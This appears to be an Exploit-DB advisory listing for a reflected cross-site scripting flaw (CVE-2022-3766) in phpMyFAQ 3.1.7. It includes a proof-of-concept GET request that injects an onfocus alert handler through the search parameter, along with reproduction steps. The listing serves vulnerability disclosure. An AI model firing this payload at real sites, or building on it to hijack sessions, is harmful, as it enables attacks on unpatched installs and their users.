EXPLOITDB 7.3 HIGH

phpMyFAQ 3.1.7 – Reflected Cross-Site Scripting (XSS)_EDB-ID:52445

7.3 / 10
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Description

Exploit Title: phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting XSS Date: 2025-11-25 Exploit Author: CodeSecLab Vendor Homepage: https://github.com/thorsten/phpmyfaq/ Software Link: https://github.com/thorsten/phpmyfaq/ Version: 3.1.7 Tested on: Windows...
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Basic Information

ID EDB-ID:52445
Published Dec 2, 2025 at 00:00

Affected Product

Affected Versions # Exploit Title: phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpmyfaq/
# Software Link: https://github.com/thorsten/phpmyfaq/
# Version: 3.1.7
# Tested on: Windows
# CVE : CVE-2022-3766


Proof Of Concept
GET http://phpmyfaq1/index.php?action=main&search=%22%20onfocus%3D%22alert%281%29

Additional Conditions:
- Ensure that no security mechanisms (like a web application firewall) are blocking the specific request pattern.
- The application must be running a phpMyFAQ version prior to 3.1.8.


Steps to Reproduce
Log in phpmyfaq.
Send the request.
Observe the result

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